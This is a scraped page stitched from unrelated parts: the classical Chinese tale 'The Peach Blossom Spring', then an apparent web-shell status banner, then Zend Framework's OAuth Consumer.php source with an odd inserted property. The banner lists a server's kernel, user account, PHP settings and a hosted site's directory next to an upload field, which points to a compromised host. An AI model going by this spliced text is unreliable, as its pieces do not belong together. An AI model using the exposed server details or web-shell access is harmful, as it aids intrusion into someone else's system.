晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/include/Zend/Oauth/ |
Upload File : |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Oauth
* @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: Consumer.php 24593 2012-01-05 20:35:02Z matthew $
*/
/** Zend_Oauth */
require_once 'Zend/Oauth.php';
/** Zend_Uri */
require_once 'Zend/Uri.php';
/** Zend_Oauth_Http_RequestToken */
require_once 'Zend/Oauth/Http/RequestToken.php';
/** Zend_Oauth_Http_UserAuthorization */
require_once 'Zend/Oauth/Http/UserAuthorization.php';
/** Zend_Oauth_Http_AccessToken */
require_once 'Zend/Oauth/Http/AccessToken.php';
/** Zend_Oauth_Token_AuthorizedRequest */
require_once 'Zend/Oauth/Token/AuthorizedRequest.php';
/** Zend_Oauth_Config */
require_once 'Zend/Oauth/Config.php';
/**
* @category Zend
* @package Zend_Oauth
* @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Oauth_Consumer extends Zend_Oauth
{
public $switcheroo = false; // replace later when this works
/**
* Request Token retrieved from OAuth Provider
*
* @var Zend_Oauth_Token_Request
*/
protected $_requestToken = null;
/**
* Access token retrieved from OAuth Provider
*
* @var Zend_Oauth_Token_Access
*/
protected $_accessToken = null;
/**
* @var Zend_Oauth_Config
*/
protected $_config = null;
/**
* Constructor; create a new object with an optional array|Zend_Config
* instance containing initialising options.
*
* @param array|Zend_Config $options
* @return void
*/
public function __construct($options = null)
{
$this->_config = new Zend_Oauth_Config;
if ($options !== null) {
if ($options instanceof Zend_Config) {
$options = $options->toArray();
}
$this->_config->setOptions($options);
}
}
/**
* Attempts to retrieve a Request Token from an OAuth Provider which is
* later exchanged for an authorized Access Token used to access the
* protected resources exposed by a web service API.
*
* @param null|array $customServiceParameters Non-OAuth Provider-specified parameters
* @param null|string $httpMethod
* @param null|Zend_Oauth_Http_RequestToken $request
* @return Zend_Oauth_Token_Request
*/
public function getRequestToken(
array $customServiceParameters = null,
$httpMethod = null,
Zend_Oauth_Http_RequestToken $request = null
) {
if ($request === null) {
$request = new Zend_Oauth_Http_RequestToken($this, $customServiceParameters);
} elseif($customServiceParameters !== null) {
$request->setParameters($customServiceParameters);
}
if ($httpMethod !== null) {
$request->setMethod($httpMethod);
} else {
$request->setMethod($this->getRequestMethod());
}
$this->_requestToken = $request->execute();
return $this->_requestToken;
}
/**
* After a Request Token is retrieved, the user may be redirected to the
* OAuth Provider to authorize the application's access to their
* protected resources - the redirect URL being provided by this method.
* Once the user has authorized the application for access, they are
* redirected back to the application which can now exchange the previous
* Request Token for a fully authorized Access Token.
*
* @param null|array $customServiceParameters
* @param null|Zend_Oauth_Token_Request $token
* @param null|Zend_OAuth_Http_UserAuthorization $redirect
* @return string
*/
public function getRedirectUrl(
array $customServiceParameters = null,
Zend_Oauth_Token_Request $token = null,
Zend_Oauth_Http_UserAuthorization $redirect = null
) {
if ($redirect === null) {
$redirect = new Zend_Oauth_Http_UserAuthorization($this, $customServiceParameters);
} elseif($customServiceParameters !== null) {
$redirect->setParameters($customServiceParameters);
}
if ($token !== null) {
$this->_requestToken = $token;
}
return $redirect->getUrl();
}
/**
* Rather than retrieve a redirect URL for use, e.g. from a controller,
* one may perform an immediate redirect.
*
* Sends headers and exit()s on completion.
*
* @param null|array $customServiceParameters
* @param null|Zend_Oauth_Token_Request $token
* @param null|Zend_Oauth_Http_UserAuthorization $request
* @return void
*/
public function redirect(
array $customServiceParameters = null,
Zend_Oauth_Token_Request $token = null,
Zend_Oauth_Http_UserAuthorization $request = null
) {
if ($token instanceof Zend_Oauth_Http_UserAuthorization) {
$request = $token;
$token = null;
}
$redirectUrl = $this->getRedirectUrl($customServiceParameters, $token, $request);
header('Location: ' . $redirectUrl);
exit(1);
}
/**
* Retrieve an Access Token in exchange for a previously received/authorized
* Request Token.
*
* @param array $queryData GET data returned in user's redirect from Provider
* @param Zend_Oauth_Token_Request Request Token information
* @param string $httpMethod
* @param Zend_Oauth_Http_AccessToken $request
* @return Zend_Oauth_Token_Access
* @throws Zend_Oauth_Exception on invalid authorization token, non-matching response authorization token, or unprovided authorization token
*/
public function getAccessToken(
$queryData,
Zend_Oauth_Token_Request $token,
$httpMethod = null,
Zend_Oauth_Http_AccessToken $request = null
) {
$authorizedToken = new Zend_Oauth_Token_AuthorizedRequest($queryData);
if (!$authorizedToken->isValid()) {
require_once 'Zend/Oauth/Exception.php';
throw new Zend_Oauth_Exception(
'Response from Service Provider is not a valid authorized request token');
}
if ($request === null) {
$request = new Zend_Oauth_Http_AccessToken($this);
}
// OAuth 1.0a Verifier
if ($authorizedToken->getParam('oauth_verifier') !== null) {
$params = array_merge($request->getParameters(), array(
'oauth_verifier' => $authorizedToken->getParam('oauth_verifier')
));
$request->setParameters($params);
}
if ($httpMethod !== null) {
$request->setMethod($httpMethod);
} else {
$request->setMethod($this->getRequestMethod());
}
if (isset($token)) {
if ($authorizedToken->getToken() !== $token->getToken()) {
require_once 'Zend/Oauth/Exception.php';
throw new Zend_Oauth_Exception(
'Authorized token from Service Provider does not match'
. ' supplied Request Token details'
);
}
} else {
require_once 'Zend/Oauth/Exception.php';
throw new Zend_Oauth_Exception('Request token must be passed to method');
}
$this->_requestToken = $token;
$this->_accessToken = $request->execute();
return $this->_accessToken;
}
/**
* Return whatever the last Request Token retrieved was while using the
* current Consumer instance.
*
* @return Zend_Oauth_Token_Request
*/
public function getLastRequestToken()
{
return $this->_requestToken;
}
/**
* Return whatever the last Access Token retrieved was while using the
* current Consumer instance.
*
* @return Zend_Oauth_Token_Access
*/
public function getLastAccessToken()
{
return $this->_accessToken;
}
/**
* Alias to self::getLastAccessToken()
*
* @return Zend_Oauth_Token_Access
*/
public function getToken()
{
return $this->_accessToken;
}
/**
* Simple Proxy to the current Zend_Oauth_Config method. It's that instance
* which holds all configuration methods and values this object also presents
* as it's API.
*
* @param string $method
* @param array $args
* @return mixed
* @throws Zend_Oauth_Exception if method does not exist in config object
*/
public function __call($method, array $args)
{
if (!method_exists($this->_config, $method)) {
require_once 'Zend/Oauth/Exception.php';
throw new Zend_Oauth_Exception('Method does not exist: '.$method);
}
return call_user_func_array(array($this->_config,$method), $args);
}
}